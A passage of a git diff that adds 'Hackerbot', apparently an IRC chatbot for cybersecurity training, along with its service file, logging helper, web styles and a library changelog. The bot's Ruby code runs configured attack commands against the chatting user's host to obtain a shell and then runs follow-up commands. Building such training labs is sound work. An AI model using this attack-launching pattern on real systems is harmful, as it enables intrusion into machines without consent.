+ if bots[bot_name]['current_attack'] < bots[bot_name]['attacks'].length - 1
+ bots[bot_name]['current_attack'] += 1
+ bots[bot_name]['current_quiz'] = nil
+ current = bots[bot_name]['current_attack']
+
+ sleep(1)
+ # prompt for current hack
+ m.reply bots[bot_name]['attacks'][current]['prompt']
+ m.reply bots[bot_name]['messages']['say_ready'].sample
+ else
+ m.reply bots[bot_name]['messages']['last_attack'].sample
+ end
+ end
+
+ else
+ m.reply bots[bot_name]['messages']['incorrect_answer']
+ end
+ else
+ m.reply bots[bot_name]['messages']['no_quiz']
+ end
+
+ end
+
+ on :message, 'previous' do |m|
+ m.reply bots[bot_name]['messages']['previous'].sample
+
+ # is this the last one?
+ if bots[bot_name]['current_attack'] > 0
+ bots[bot_name]['current_attack'] -= 1
+ bots[bot_name]['current_quiz'] = nil
+ current = bots[bot_name]['current_attack']
+
+ # prompt for current hack
+ m.reply bots[bot_name]['attacks'][current]['prompt']
+ m.reply bots[bot_name]['messages']['say_ready'].sample
+
+ else
+ m.reply bots[bot_name]['messages']['first_attack'].sample
+ end
+
+ end
+
+ on :message, 'list' do |m|
+ bots[bot_name]['attacks'].each_with_index {|val, index|
+ uptohere = ''
+ if index == bots[bot_name]['current_attack']
+ uptohere = '--> '
+ end
+
+ m.reply "#{uptohere}attack #{index+1}: #{val['prompt']}"
+ }
+ end
+
+ # fallback to AIML ALICE chatbot responses
+ on :message do |m|
+
+ # Only process messages not related to controlling attacks
+ if m.message !~ /hello|help|next|previous|list|^(goto|attack) [0-9]|(the answer is|answer)/
+ reaction = ''
+ begin
+ reaction = bots[bot_name]['chat_ai'].get_reaction(m.message.gsub /([^a-z0-9\- ]+)/i, '')
+ rescue Exception => e
+ puts e.message
+ puts e.backtrace.inspect
+ reaction = ''
+ end
+ if reaction != ''
+ m.reply reaction
+ else
+ if m.message.include?('?')
+ m.reply bots[bot_name]['messages']['non_answer']
+ end
+ end
+ end
+
+ end
+
+
+ on :message, 'ready' do |m|
+ m.reply bots[bot_name]['messages']['getting_shell'].sample
+ current = bots[bot_name]['current_attack']
+
+ if bots[bot_name]['attacks'][current].key?('pre_shell')
+ pre_shell_cmd = bots[bot_name]['attacks'][current]['pre_shell'].clone
+ pre_output = `#{pre_shell_cmd}`
+ unless bots[bot_name]['attacks'][current].key?('suppress_command_output_feedback')
+ m.reply "FYI: #{pre_output}"
+ end
+ bots[bot_name]['attacks'][current]['get_shell_command_output'] = pre_output
+ current = check_output_conditions(bot_name, bots, current, pre_output, m)
+
+ end
+
+ # use bot-wide method for obtaining shell, unless specified per-attack
+ if bots[bot_name]['attacks'][current].key?('get_shell')
+ shell_cmd = bots[bot_name]['attacks'][current]['get_shell'].clone
+ else
+ shell_cmd = bots[bot_name]['get_shell'].clone
+ end
+
+ # substitute special variables
+ shell_cmd.gsub!(/{{chat_ip_address}}/, m.user.host.to_s)
+ # add a ; to ensure it is run via bash
+ shell_cmd << ';'
+ Print.debug shell_cmd
+
+ Open3.popen2e(shell_cmd) do |stdin, stdout_err|
+ # check whether we have shell by echoing "shelltest"
+ # sleep(1)
+ stdin.puts "echo shelltest\n"
+ sleep(3)
+
+ # non-blocking read from buffer
+ lines = ''
+ begin
+ while ch = stdout_err.read_nonblock(1)
+ lines << ch
+ end
+ rescue # continue consuming until input blocks
+ end
+ bots[bot_name]['attacks'][current]['get_shell_command_output'] = lines
+
+ Print.debug lines
+ if lines =~ /shelltest/i
+ m.reply bots[bot_name]['messages']['got_shell'].sample
+
+ post_cmd = bots[bot_name]['attacks'][current]['post_command']
+ if post_cmd
+ post_cmd.gsub!(/{{chat_ip_address}}/, m.user.host.to_s)
+ stdin.puts "#{post_cmd}\n"
+ end
+
+ # sleep(1)
+ stdin.close # no more input, end the program
+ lines = stdout_err.read.chomp()
+ bots[bot_name]['attacks'][current]['post_command_output'] = lines
+
+ unless bots[bot_name]['attacks'][current].key?('suppress_command_output_feedback')
+ m.reply "FYI: #{lines}"
+ end
+ Print.debug lines
+
+ current = check_output_conditions(bot_name, bots, current, lines, m)
+
+ else
+ Print.debug("Shell failed...")
+ # shell fail message will use the default message, unless specified for the attack
+ if bots[bot_name]['attacks'][current].key?('shell_fail_message')
+ m.reply bots[bot_name]['attacks'][current]['shell_fail_message']
+ else
+ m.reply bots[bot_name]['messages']['shell_fail_message']
+ end
+ # under specific situations reveal the error message to the user
+ if lines =~ /command not found/
+ m.reply "Looks like there is some software missing: #{lines}"
+ end
+ end
+
+ end
+ m.reply bots[bot_name]['messages']['repeat'].sample
+ end
+
+ end
+ end
+ end
+
+ bots
+end
+
+def start_bots(bots)
+ threads = []
+ bots.each do |bot_name, bot|
+ threads << Thread.new {
+ Print.std "Starting bot: #{bot_name}\n"
+ bot['bot'].start
+ }
+ end
+ ThreadsWait.all_waits(threads)
+end
+
+def usage
+ Print.std 'ruby hackerbot.rb [--irc-server host]'
+end
+
+# -- main --
+
+Print.std '~'*47
+Print.std ' '*19 + 'Hackerbot'
+Print.std '~'*47
+
+irc_server_ip_address = 'localhost'
+
+# Get command line arguments
+opts = GetoptLong.new(
+ [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
+ [ '--irc-server', '-i', GetoptLong::REQUIRED_ARGUMENT ],
+)
+
+# process option arguments
+opts.each do |opt, arg|
+ case opt
+ # Main options
+ when '--help'
+ usage
+ when '--irc-server'
+ irc_server_ip_address = arg;
+ else
+ Print.err "Argument not valid: #{arg}"
+ usage
+ exit
+ end
+end
+
+bots = read_bots(irc_server_ip_address)
+start_bots(bots)
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.service b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.service
new file mode 100644
index 000000000..ef7b1ce18
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Hackerbot IRC attack chatbot (SecGen project)
+After=network.target
+
+[Service]
+ExecStart=/usr/bin/ruby /opt/hackerbot/hackerbot.rb
+ExecReload=/bin/kill -HUP $MAINPID
+KillMode=process
+WorkingDirectory=/opt/hackerbot
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot_schema.xsd b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot_schema.xsd
new file mode 100644
index 000000000..4de304aa8
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot_schema.xsd
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/print.rb b/modules/utilities/unix/hackerbot/files/opt_hackerbot/print.rb
new file mode 100644
index 000000000..f1f424828
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/print.rb
@@ -0,0 +1,44 @@
+
+class Print
+ def self.colorize(text, color_code)
+ "#{color_code}#{text}\e[0m"
+ end
+
+ def self.red(text); colorize(text, "\e[31m"); end
+ def self.green(text); colorize(text, "\e[32m"); end
+ def self.yellow(text); colorize(text, "\e[33m"); end
+ def self.blue(text); colorize(text, "\e[34m"); end
+ def self.purple(text); colorize(text, "\e[35m"); end
+ def self.cyan(text); colorize(text, "\e[36m"); end
+ def self.grey(text); colorize(text, "\e[37m"); end
+ def self.bold(text); colorize(text, "\e[2m"); end
+
+ def self.debug(msg)
+ puts purple(' ' + msg)
+ end
+
+ def self.verbose(msg)
+ puts grey(' ' + msg)
+ end
+
+ def self.err(msg)
+ $stderr.puts red(msg)
+ end
+
+ def self.info(msg)
+ puts green(msg)
+ end
+
+ def self.std(msg)
+ puts yellow(msg)
+ end
+
+ # local encoders/generators write messages to stderr (stdout used to return values)
+ def self.local(msg)
+ $stderr.puts cyan(msg)
+ end
+ def self.local_verbose(msg)
+ $stderr.puts cyan(' ' + msg)
+ end
+
+end
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/.htaccess b/modules/utilities/unix/hackerbot/files/www/.htaccess
new file mode 100644
index 000000000..1312f746e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/.htaccess
@@ -0,0 +1,3 @@
+Options +Indexes
+IndexIgnore css js
+IndexOptions FancyIndexing HTMLTable
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/css/github-markdown.css b/modules/utilities/unix/hackerbot/files/www/css/github-markdown.css
new file mode 100644
index 000000000..57c63c7f6
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/css/github-markdown.css
@@ -0,0 +1,700 @@
+@font-face {
+ font-family: octicons-link;
+ src: url(data:font/woff;charset=utf-8;base64,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) format('woff');
+}
+
+.markdown-body {
+ -ms-text-size-adjust: 100%;
+ -webkit-text-size-adjust: 100%;
+ line-height: 1.5;
+ color: #24292e;
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+ font-size: 16px;
+ line-height: 1.5;
+ word-wrap: break-word;
+}
+
+.markdown-body .pl-c {
+ color: #6a737d;
+}
+
+.markdown-body .pl-c1,
+.markdown-body .pl-s .pl-v {
+ color: #005cc5;
+}
+
+.markdown-body .pl-e,
+.markdown-body .pl-en {
+ color: #6f42c1;
+}
+
+.markdown-body .pl-smi,
+.markdown-body .pl-s .pl-s1 {
+ color: #24292e;
+}
+
+.markdown-body .pl-ent {
+ color: #22863a;
+}
+
+.markdown-body .pl-k {
+ color: #d73a49;
+}
+
+.markdown-body .pl-s,
+.markdown-body .pl-pds,
+.markdown-body .pl-s .pl-pse .pl-s1,
+.markdown-body .pl-sr,
+.markdown-body .pl-sr .pl-cce,
+.markdown-body .pl-sr .pl-sre,
+.markdown-body .pl-sr .pl-sra {
+ color: #032f62;
+}
+
+.markdown-body .pl-v,
+.markdown-body .pl-smw {
+ color: #e36209;
+}
+
+.markdown-body .pl-bu {
+ color: #b31d28;
+}
+
+.markdown-body .pl-ii {
+ color: #fafbfc;
+ background-color: #b31d28;
+}
+
+.markdown-body .pl-c2 {
+ color: #fafbfc;
+ background-color: #d73a49;
+}
+
+.markdown-body .pl-c2::before {
+ content: "^M";
+}
+
+.markdown-body .pl-sr .pl-cce {
+ font-weight: bold;
+ color: #22863a;
+}
+
+.markdown-body .pl-ml {
+ color: #735c0f;
+}
+
+.markdown-body .pl-mh,
+.markdown-body .pl-mh .pl-en,
+.markdown-body .pl-ms {
+ font-weight: bold;
+ color: #005cc5;
+}
+
+.markdown-body .pl-mi {
+ font-style: italic;
+ color: #24292e;
+}
+
+.markdown-body .pl-mb {
+ font-weight: bold;
+ color: #24292e;
+}
+
+.markdown-body .pl-md {
+ color: #b31d28;
+ background-color: #ffeef0;
+}
+
+.markdown-body .pl-mi1 {
+ color: #22863a;
+ background-color: #f0fff4;
+}
+
+.markdown-body .pl-mc {
+ color: #e36209;
+ background-color: #ffebda;
+}
+
+.markdown-body .pl-mi2 {
+ color: #f6f8fa;
+ background-color: #005cc5;
+}
+
+.markdown-body .pl-mdr {
+ font-weight: bold;
+ color: #6f42c1;
+}
+
+.markdown-body .pl-ba {
+ color: #586069;
+}
+
+.markdown-body .pl-sg {
+ color: #959da5;
+}
+
+.markdown-body .pl-corl {
+ text-decoration: underline;
+ color: #032f62;
+}
+
+.markdown-body .octicon {
+ display: inline-block;
+ vertical-align: text-top;
+ fill: currentColor;
+}
+
+.markdown-body a {
+ background-color: transparent;
+ -webkit-text-decoration-skip: objects;
+}
+
+.markdown-body a:active,
+.markdown-body a:hover {
+ outline-width: 0;
+}
+
+.markdown-body strong {
+ font-weight: inherit;
+}
+
+.markdown-body strong {
+ font-weight: bolder;
+}
+
+.markdown-body h1 {
+ font-size: 2em;
+ margin: 0.67em 0;
+}
+
+.markdown-body img {
+ border-style: none;
+}
+
+.markdown-body svg:not(:root) {
+ overflow: hidden;
+}
+
+.markdown-body code,
+.markdown-body kbd,
+.markdown-body pre {
+ font-family: monospace, monospace;
+ font-size: 1em;
+}
+
+.markdown-body hr {
+ box-sizing: content-box;
+ height: 0;
+ overflow: visible;
+}
+
+.markdown-body input {
+ font: inherit;
+ margin: 0;
+}
+
+.markdown-body input {
+ overflow: visible;
+}
+
+.markdown-body [type="checkbox"] {
+ box-sizing: border-box;
+ padding: 0;
+}
+
+.markdown-body * {
+ box-sizing: border-box;
+}
+
+.markdown-body input {
+ font-family: inherit;
+ font-size: inherit;
+ line-height: inherit;
+}
+
+.markdown-body a {
+ color: #0366d6;
+ text-decoration: none;
+}
+
+.markdown-body a:hover {
+ text-decoration: underline;
+}
+
+.markdown-body strong {
+ font-weight: 600;
+}
+
+.markdown-body hr {
+ height: 0;
+ margin: 15px 0;
+ overflow: hidden;
+ background: transparent;
+ border: 0;
+ border-bottom: 1px solid #dfe2e5;
+}
+
+.markdown-body hr::before {
+ display: table;
+ content: "";
+}
+
+.markdown-body hr::after {
+ display: table;
+ clear: both;
+ content: "";
+}
+
+.markdown-body table {
+ border-spacing: 0;
+ border-collapse: collapse;
+}
+
+.markdown-body td,
+.markdown-body th {
+ padding: 0;
+}
+
+.markdown-body h1,
+.markdown-body h2,
+.markdown-body h3,
+.markdown-body h4,
+.markdown-body h5,
+.markdown-body h6 {
+ margin-top: 0;
+ margin-bottom: 0;
+}
+
+.markdown-body h1 {
+ font-size: 32px;
+ font-weight: 600;
+}
+
+.markdown-body h2 {
+ font-size: 24px;
+ font-weight: 600;
+}
+
+.markdown-body h3 {
+ font-size: 20px;
+ font-weight: 600;
+}
+
+.markdown-body h4 {
+ font-size: 16px;
+ font-weight: 600;
+}
+
+.markdown-body h5 {
+ font-size: 14px;
+ font-weight: 600;
+}
+
+.markdown-body h6 {
+ font-size: 12px;
+ font-weight: 600;
+}
+
+.markdown-body p {
+ margin-top: 0;
+ margin-bottom: 10px;
+}
+
+.markdown-body blockquote {
+ margin: 0;
+}
+
+.markdown-body ul,
+.markdown-body ol {
+ padding-left: 0;
+ margin-top: 0;
+ margin-bottom: 0;
+}
+
+.markdown-body ol ol,
+.markdown-body ul ol {
+ list-style-type: lower-roman;
+}
+
+.markdown-body ul ul ol,
+.markdown-body ul ol ol,
+.markdown-body ol ul ol,
+.markdown-body ol ol ol {
+ list-style-type: lower-alpha;
+}
+
+.markdown-body dd {
+ margin-left: 0;
+}
+
+.markdown-body code {
+ font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
+ font-size: 12px;
+}
+
+.markdown-body pre {
+ margin-top: 0;
+ margin-bottom: 0;
+ font: 12px "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
+}
+
+.markdown-body .octicon {
+ vertical-align: text-bottom;
+}
+
+.markdown-body .pl-0 {
+ padding-left: 0 !important;
+}
+
+.markdown-body .pl-1 {
+ padding-left: 4px !important;
+}
+
+.markdown-body .pl-2 {
+ padding-left: 8px !important;
+}
+
+.markdown-body .pl-3 {
+ padding-left: 16px !important;
+}
+
+.markdown-body .pl-4 {
+ padding-left: 24px !important;
+}
+
+.markdown-body .pl-5 {
+ padding-left: 32px !important;
+}
+
+.markdown-body .pl-6 {
+ padding-left: 40px !important;
+}
+
+.markdown-body::before {
+ display: table;
+ content: "";
+}
+
+.markdown-body::after {
+ display: table;
+ clear: both;
+ content: "";
+}
+
+.markdown-body>*:first-child {
+ margin-top: 0 !important;
+}
+
+.markdown-body>*:last-child {
+ margin-bottom: 0 !important;
+}
+
+.markdown-body a:not([href]) {
+ color: inherit;
+ text-decoration: none;
+}
+
+.markdown-body .anchor {
+ float: left;
+ padding-right: 4px;
+ margin-left: -20px;
+ line-height: 1;
+}
+
+.markdown-body .anchor:focus {
+ outline: none;
+}
+
+.markdown-body p,
+.markdown-body blockquote,
+.markdown-body ul,
+.markdown-body ol,
+.markdown-body dl,
+.markdown-body table,
+.markdown-body pre {
+ margin-top: 0;
+ margin-bottom: 16px;
+}
+
+.markdown-body hr {
+ height: 0.25em;
+ padding: 0;
+ margin: 24px 0;
+ background-color: #e1e4e8;
+ border: 0;
+}
+
+.markdown-body blockquote {
+ padding: 0 1em;
+ color: #6a737d;
+ border-left: 0.25em solid #dfe2e5;
+}
+
+.markdown-body blockquote>:first-child {
+ margin-top: 0;
+}
+
+.markdown-body blockquote>:last-child {
+ margin-bottom: 0;
+}
+
+.markdown-body kbd {
+ display: inline-block;
+ padding: 3px 5px;
+ font-size: 11px;
+ line-height: 10px;
+ color: #444d56;
+ vertical-align: middle;
+ background-color: #fafbfc;
+ border: solid 1px #c6cbd1;
+ border-bottom-color: #959da5;
+ border-radius: 3px;
+ box-shadow: inset 0 -1px 0 #959da5;
+}
+
+.markdown-body h1,
+.markdown-body h2,
+.markdown-body h3,
+.markdown-body h4,
+.markdown-body h5,
+.markdown-body h6 {
+ margin-top: 24px;
+ margin-bottom: 16px;
+ font-weight: 600;
+ line-height: 1.25;
+}
+
+.markdown-body h1 .octicon-link,
+.markdown-body h2 .octicon-link,
+.markdown-body h3 .octicon-link,
+.markdown-body h4 .octicon-link,
+.markdown-body h5 .octicon-link,
+.markdown-body h6 .octicon-link {
+ color: #1b1f23;
+ vertical-align: middle;
+ visibility: hidden;
+}
+
+.markdown-body h1:hover .anchor,
+.markdown-body h2:hover .anchor,
+.markdown-body h3:hover .anchor,
+.markdown-body h4:hover .anchor,
+.markdown-body h5:hover .anchor,
+.markdown-body h6:hover .anchor {
+ text-decoration: none;
+}
+
+.markdown-body h1:hover .anchor .octicon-link,
+.markdown-body h2:hover .anchor .octicon-link,
+.markdown-body h3:hover .anchor .octicon-link,
+.markdown-body h4:hover .anchor .octicon-link,
+.markdown-body h5:hover .anchor .octicon-link,
+.markdown-body h6:hover .anchor .octicon-link {
+ visibility: visible;
+}
+
+.markdown-body h1 {
+ padding-bottom: 0.3em;
+ font-size: 2em;
+ border-bottom: 1px solid #eaecef;
+}
+
+.markdown-body h2 {
+ padding-bottom: 0.3em;
+ font-size: 1.5em;
+ border-bottom: 1px solid #eaecef;
+}
+
+.markdown-body h3 {
+ font-size: 1.25em;
+}
+
+.markdown-body h4 {
+ font-size: 1em;
+}
+
+.markdown-body h5 {
+ font-size: 0.875em;
+}
+
+.markdown-body h6 {
+ font-size: 0.85em;
+ color: #6a737d;
+}
+
+.markdown-body ul,
+.markdown-body ol {
+ padding-left: 2em;
+}
+
+.markdown-body ul ul,
+.markdown-body ul ol,
+.markdown-body ol ol,
+.markdown-body ol ul {
+ margin-top: 0;
+ margin-bottom: 0;
+}
+
+.markdown-body li>p {
+ margin-top: 16px;
+}
+
+.markdown-body li+li {
+ margin-top: 0.25em;
+}
+
+.markdown-body dl {
+ padding: 0;
+}
+
+.markdown-body dl dt {
+ padding: 0;
+ margin-top: 16px;
+ font-size: 1em;
+ font-style: italic;
+ font-weight: 600;
+}
+
+.markdown-body dl dd {
+ padding: 0 16px;
+ margin-bottom: 16px;
+}
+
+.markdown-body table {
+ display: block;
+ width: 100%;
+ overflow: auto;
+}
+
+.markdown-body table th {
+ font-weight: 600;
+}
+
+.markdown-body table th,
+.markdown-body table td {
+ padding: 6px 13px;
+ border: 1px solid #dfe2e5;
+}
+
+.markdown-body table tr {
+ background-color: #fff;
+ border-top: 1px solid #c6cbd1;
+}
+
+.markdown-body table tr:nth-child(2n) {
+ background-color: #f6f8fa;
+}
+
+.markdown-body img {
+ max-width: 100%;
+ box-sizing: content-box;
+ background-color: #fff;
+}
+
+.markdown-body code {
+ padding: 0;
+ padding-top: 0.2em;
+ padding-bottom: 0.2em;
+ margin: 0;
+ font-size: 85%;
+ background-color: rgba(27,31,35,0.05);
+ border-radius: 3px;
+}
+
+.markdown-body code::before,
+.markdown-body code::after {
+ letter-spacing: -0.2em;
+ content: "\00a0";
+}
+
+.markdown-body pre {
+ word-wrap: normal;
+}
+
+.markdown-body pre>code {
+ padding: 0;
+ margin: 0;
+ font-size: 100%;
+ word-break: normal;
+ white-space: pre;
+ background: transparent;
+ border: 0;
+}
+
+.markdown-body .highlight {
+ margin-bottom: 16px;
+}
+
+.markdown-body .highlight pre {
+ margin-bottom: 0;
+ word-break: normal;
+}
+
+.markdown-body .highlight pre,
+.markdown-body pre {
+ padding: 16px;
+ overflow: auto;
+ font-size: 85%;
+ line-height: 1.45;
+ background-color: #f6f8fa;
+ border-radius: 3px;
+}
+
+.markdown-body pre code {
+ display: inline;
+ max-width: auto;
+ padding: 0;
+ margin: 0;
+ overflow: visible;
+ line-height: inherit;
+ word-wrap: normal;
+ background-color: transparent;
+ border: 0;
+}
+
+.markdown-body pre code::before,
+.markdown-body pre code::after {
+ content: normal;
+}
+
+.markdown-body .full-commit .btn-outline:not(:disabled):hover {
+ color: #005cc5;
+ border-color: #005cc5;
+}
+
+.markdown-body kbd {
+ display: inline-block;
+ padding: 3px 5px;
+ font: 11px "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
+ line-height: 10px;
+ color: #444d56;
+ vertical-align: middle;
+ background-color: #fafbfc;
+ border: solid 1px #d1d5da;
+ border-bottom-color: #c6cbd1;
+ border-radius: 3px;
+ box-shadow: inset 0 -1px 0 #c6cbd1;
+}
+
+.markdown-body :checked+.radio-label {
+ position: relative;
+ z-index: 1;
+ border-color: #0366d6;
+}
+
+.markdown-body .task-list-item {
+ list-style-type: none;
+}
+
+.markdown-body .task-list-item+.task-list-item {
+ margin-top: 3px;
+}
+
+.markdown-body .task-list-item input {
+ margin: 0 0.2em 0.25em -1.6em;
+ vertical-align: middle;
+}
+
+.markdown-body hr {
+ border-bottom-color: #eee;
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/images/leedsbeckett-logo.png b/modules/utilities/unix/hackerbot/files/www/images/leedsbeckett-logo.png
new file mode 100644
index 000000000..772734ac0
Binary files /dev/null and b/modules/utilities/unix/hackerbot/files/www/images/leedsbeckett-logo.png differ
diff --git a/modules/utilities/unix/hackerbot/files/www/images/skullandusb.svg b/modules/utilities/unix/hackerbot/files/www/images/skullandusb.svg
new file mode 100644
index 000000000..3d146e952
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/images/skullandusb.svg
@@ -0,0 +1,442 @@
+
+
+
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/.gitignore b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/.gitignore
new file mode 100644
index 000000000..433f78b21
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/.gitignore
@@ -0,0 +1,18 @@
+# temporary files
+*~
+*.swp
+.DS_Store
+
+# package managers
+/node_modules/
+/bower_components/
+npm-debug.log
+.bower.json
+
+# generated files
+#/src/prettify.js
+#/src/run_prettify.js
+#/loader/*.js
+#/loader/*.css
+#/loader/skins/*.css
+#/distrib/*.zip
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/CHANGES.md b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/CHANGES.md
new file mode 100644
index 000000000..a4a5bdc5d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/CHANGES.md
@@ -0,0 +1,137 @@
+# Known Issues
+
+ * Perl formatting is really crappy. Partly because the author is lazy and partly
+ because Perl is [hard](http://www.perlmonks.org/?node_id=663393) to parse.
+ * On some browsers, `` elements with newlines in the text which use CSS
+ to specify `white-space:pre` will have the newlines improperly stripped if
+ the element is not attached to the document at the time the stripping is done.
+ Also, on IE6, all newlines will be stripped from `` elements because
+ of the way IE6 produces `innerHTML`. Workaround: use `
` for code with
+ newlines.
+
+# Change Log
+
+## 29 March 2007
+
+ * Added [tests](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#PHP)
+ for PHP support to address issue [#3](https://github.com/google/code-prettify/issues/3).
+ * Fixed bug [#6](https://github.com/google/code-prettify/issues/6): `prettyPrintOne`
+ was not halting. This was not reachable through the normal entry point.
+ * Fixed bug [#4](https://github.com/google/code-prettify/issues/4): recursing into a
+ script block or PHP tag that was not properly closed would not silently drop the content.
+ ([test](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue4))
+ * Fixed bug [#8](https://github.com/google/code-prettify/issues/8): was eating tabs
+ ([test](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue8))
+ * Fixed entity handling so that the caveat
+
+ > Caveats: please properly escape less-thans. `x<y` instead of `x and use `"` instead of `"` for string delimiters.
+
+ is no longer applicable.
+ * Added *noisefree*'s C# patch [#7](https://github.com/google/code-prettify/issues/7)
+ * Added a [distribution](http://google-code-prettify.googlecode.com/files/prettify-small.zip)
+ that has comments and whitespace removed to reduce download size from 45.5kB
+ to 12.8kB.
+
+## 4 Jul 2008
+
+ * Added [#17](https://github.com/google/code-prettify/issues/17) language specific
+ formatters that are triggered by the presence of a `lang-`
+ * Fixed bug [#29](https://github.com/google/code-prettify/issues/29): python
+ handling of `'''string'''`
+ * Fixed bug: `/` in regex `[charsets] should not end regex`
+
+## 5 Jul 2008
+
+ * Defined language extensions for Lisp and Lua
+
+## 14 Jul 2008
+
+ * Language handlers for F#, OCAML, SQL
+ * Support for `nocode` spans to allow embedding of line numbers and code
+ annotations which should not be styled or otherwise affect the tokenization
+ of prettified code. See the issue [#22](https://github.com/google/code-prettify/issues/22)
+ [testcase](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue22).
+
+## 6 Jan 2009
+
+ * Language handlers for Visual Basic, Haskell, CSS, and WikiText
+ * Added `.mxml` extension to the markup style handler for
+ Flex [MXML files](http://en.wikipedia.org/wiki/MXML).
